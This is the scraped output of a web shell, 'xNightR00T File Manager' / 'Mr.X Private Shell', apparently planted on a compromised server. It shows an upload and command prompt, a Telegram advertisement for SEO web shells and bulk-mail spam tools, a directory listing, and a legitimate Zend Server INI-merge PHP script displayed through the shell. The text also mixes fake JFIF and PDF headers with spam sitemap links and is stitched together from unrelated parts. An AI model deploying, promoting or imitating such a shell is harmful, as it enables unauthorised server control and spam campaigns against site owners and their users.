xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

require_once('zs_product_definitions.php');
require_once('zs_ini_parser.php');

/**********************************************************************
 *                                                                     *
 *  php-cgi zs_merge_ini.php from=old_dir to=new_dir	[type=minor/major]*                             	 *
 *  merge ini from old path to new path and save it with the same name *
 *                                                                     *
 **********************************************************************/
if (function_exists("date_default_timezone_set") && function_exists("date_default_timezone_get")) {
	date_default_timezone_set(@date_default_timezone_get());
}

$logFile = $verbosity = $newDir = $oldDir = $fillZendGlobalData = NULL;

set_script_options(@$argv); // if running non-cli, might not have argv all together, hence silenced

if ($fillZendGlobalData) {
	return fill_zend_global_data($oldDir, $newDir);
}

$backup_name = "-clean_" . PRODUCT_VERSION;
if (!(isset($_GET['type']))) { // set type if not defined as major
	$type = "major";
} else {
	$type = $_GET['type'];
}

message("will be performing merge of upgrade type [{$type}]. backup suffix will be [$backup_name]");
if (strpos($oldDir, ".ini") && strpos($newDir, ".ini")) { // compare of files
	return merge_single_file_mode($oldDir, $newDir, $type, $backup_name);
}

// compare directories

// get the ini files in the new  directory
//$oldFiles = createIniList(scandir($oldDir));
$newFiles = createIniList(scandir($newDir));

//$allFiles = array_merge($newFiles, $oldFiles);
//$allFiles = array_unique($allFiles);

message("***********************************");
message("Working on folders old [{$oldDir}] and new [{$newDir}]");
foreach ($newFiles as $filename) {
	$oldIni = $oldDir . DIRECTORY_SEPARATOR . $filename;
	$newIni = $newDir . DIRECTORY_SEPARATOR . $filename;

	if (strpos($oldIni, "watchdog") || strpos($oldIni, "zend_mime_types")) {
		message("ignoring file [$oldIni]");
		continue;
	}

	if (! file_exists($oldIni)) {
		message("The old file [{$oldIni}] does not exist");
		continue;
	}

	if ($filename === 'packaging.ini') {
		update_packaging_file($newIni);
		continue;
	}

/* 	if (! file_exists($newIni)) {
		message("The new file [{$newIni}]  does not exist");
		continue;
	} */

	if ($type == "major") {
		message("will merge old ini [{$oldIni}] with new ini [{$newIni}]");
		mergeIniFile($oldIni, $newIni, $backup_name);
		continue;
	}

	// simply overwrite
	message("overwriting [{$newIni}] with [{$oldIni}]");
	overwritingIniFile($oldIni, $newIni);
}


// --------------- FUNCTIONS -----------------

function set_script_options($argv) {
	global $logFile, $verbosity, $newDir, $oldDir, $fillZendGlobalData;

	if (php_sapi_name() === 'cli' && isset($argv[1]) && preg_match('@debug@i', $argv[1])) { // DEBUG MODE
		return set_debug_options();
	}

	if (isset($_GET['fillZendGlobalData'])) {
		$fillZendGlobalData = true;
	}

	$oldDir = $_GET['from'];
	$newDir = $_GET['to'];
	if (! (isset($_GET['logFile']) && $_GET['logFile'])) { // define the log file - check if it was provided from the params line
		return;
	}

	if (file_exists($_GET['logFile']) && is_writable($_GET['logFile'])) {
		return $logFile = $_GET['logFile'];
	}

	$logFileFolder = dirname($_GET['logFile']);
	if (is_dir($logFileFolder) && is_writable($logFileFolder) && touch($_GET['logFile'])) {
		$logFile = $_GET['logFile'];
	}
}

function set_debug_options() {
	global $logFile, $verbosity, $newDir, $oldDir;

	$debug_file = __DIR__ . DIRECTORY_SEPARATOR . 'ini_merge_debug_args.json';
	if (! (is_file($debug_file) && ($args = json_decode(file_get_contents($debug_file), JSON_OBJECT_AS_ARRAY)))) {
		throw new Exception("debug mode - expecting json args file at [{$debug_file}] !");
	}

	$verbosity = 1;
	$logFile = @fopen($logPath = $args['logPath'], "w+");
	ini_set("log_errors", 1);
	ini_set("error_log", $logPath);
	message('DEBUG MODE !!');
	$newDir = $args['newDir'];
	$oldDir = $args['oldDir'];
}

function update_packaging_file($newIni) {
	message("updating packaging file with zs_upgrade value");
	$quick_parser = new zs_ini_parser();
	$quick_collecter = $quick_parser->parse_ini($newIni);
	$quick_collecter->set_directive_line_by_key('zend_gui.zs_upgrade', 1); // set zend_gui.zs_upgrade with hard-coded 1
	$output = $quick_collecter->get_lines_output();
	return flush_output_to_file($output, $newIni);
}

function fill_zend_global_data($old_file, $new_file) {
	message("***********************************");
	message("fill zend global data mode will populate directives data of [{$new_file}] from [{$old_file}]");
	message("***********************************");

	try {
		if (! zs_ini_parser::is_php_ini($old_file)) {
			throw new Exception("zend global data mode - expecting old file to be php.ini !");
		}

		if (basename($new_file) !== ($zend_global_file='ZendGlobalDirectives.ini')) {
			throw new Exception("zend global data mode - expecting new file to be [{$zend_global_file}] !");
		}

		mergeIniFile($old_file, $new_file, false); // quick merge
	} catch (Exception $e) {
		message("ERROR: fill zend global data failed with the following error: " . $e->getMessage());
	}
}

function merge_single_file_mode($old_file, $new_file, $type, $backup_name) {
	message("***********************************");
	message("single file mode file on " . $type . " upgrade");
	message("***********************************");
	if (file_exists($old_file) && file_exists($new_file)) {
		if ($type == "major") {
			message("merging " . $old_file . " with " . $new_file);
			mergeIniFile($old_file, $new_file, $backup_name);
		} else {
			message("overwriting " . $old_file . " with " . $new_file);
			overwritingIniFile($old_file, $new_file);
		}
	} else {
		if (!(file_exists($old_file))) {
			message("The from file " . $old_file . " does not exist");
		}
		if (!(file_exists($new_file))) {
			message("The to file " . $new_file . " does not exist");
			// copying file from old to new if not exist
			if ($type == "minor") {
				if (copy($old_file, $new_file)) {
					chmod($new_file, fileperms($old_file));
					message("Copy from " . $old_file . " to " . $new_file . " and fixing permissions");
				} else {
					message("ERROR: Failed coping from " . $old_file . " to " . $new_file . " and fixing permissions");
				}
			}
		}
	}
}


/**
 * overwrite new ini with old one
 * @param string $oldIni
 * @param string $newIni
 */
function overwritingIniFile($oldIni, $newIni) {
	$current = file_get_contents($oldIni);
	file_put_contents($newIni, $current);
	message("copied contnts from  [{$oldIni}] to [{$newIni}]");
}

/**
 * merge two ini files to one
 * @param string $oldIni
 * @param string $newIni
 * @param boolean / string $backup_name - if false is passed then will do a quick merge
 */
function mergeIniFile($oldIni, $newIni, $backup_name) {
	$full_merge = (boolean) $backup_name;
	if ($full_merge) {
		backup_new_file($newIni, $backup_name);
	} else {
		message("quick merge will be executed: directives data from [{$oldIni}] will be merged into [{$newIni}] if such directives exist there");
	}

	$zs_ini_parser = new zs_ini_parser();

	try {
		$old_line_collection = $zs_ini_parser->parse_ini($oldIni);
		$new_line_collection = $zs_ini_parser->parse_ini($newIni);
		$collection_comparator = new collection_comparator($old_line_collection, $new_line_collection);
		// opcache.ini was moved from ZendExtensionManager to directly PHP Zend Extension in 2021.
		// Skip type check for it and force merging opcache.ini files.
		if ($full_merge && strrpos($newIni,'opcache.ini')===false) { // if not full, then we have mixed INI files (php to ZendGlobalDirectives)
			$collection_comparator->validate_merge_integrity();
		}

		$output = $collection_comparator->merge_collections(! $full_merge);
		flush_output_to_file($output, $newIni);
	} catch (Exception $e) {
		message("ERROR: merge failed with the error below, will leave file [$newIni] as is: " . $e->getMessage() . PHP_EOL . $e->getTraceAsString());
	}
}

function flush_output_to_file($output, $output_ini_path) {
	file_put_contents($output_ini_path, implode(PHP_EOL, $output));
	message("flushing contents to {$output_ini_path}");
}

function backup_new_file($newIni, $backup_name) {
	$backupPath = $newIni . $backup_name;
	message("backing up [{$newIni}] to [{$backupPath}]");
	return copy($newIni, $backupPath);
}

function filterOldEntries($arrLinesOfOldFile) {
	$linesToKeep = $linesToRemove = array ();
	foreach ($arrLinesOfOldFile as $line) {
		if (preg_match('@^zend@', trim($line))) {
			$linesToRemove[] = $line; // removing debug zend directives (ZS 9.2), leaving all the rest
		} else {
			$linesToKeep[] = $line;
		}
	}

	message("Ignoring the following non-found directives: " . implode(',', $linesToRemove));
	return $linesToKeep;
}

function createIniList($files) {
	$result = array();
	foreach ($files as $filename) {
		$ext = pathinfo($filename, PATHINFO_EXTENSION);
		if (strtolower($ext) === 'ini') {
			$result[] = $filename;
		}
	}

	return $result;
}

function logMsg($str) {
	global $logFile;
	if (!$logFile) {
		if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
			$logPath = $_GET['zsDir'] . "/logs/zs_merge_ini.log";
		} else {
			$logPath = $_GET['zsDir'] . "/var/log/zs_merge_ini.log";
		}
		$logFile = @fopen($logPath, "a+");
		ini_set("log_errors", 1);
		ini_set("error_log", $logPath);
	}

	$str = "[" . date('c') . "] " . $str;
	@fwrite($logFile, $str . PHP_EOL);
}

function message($str) {
	global $verbosity;
	if ($verbosity > 0) {
		echo $str . PHP_EOL;
	}

	logMsg($str);
}

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml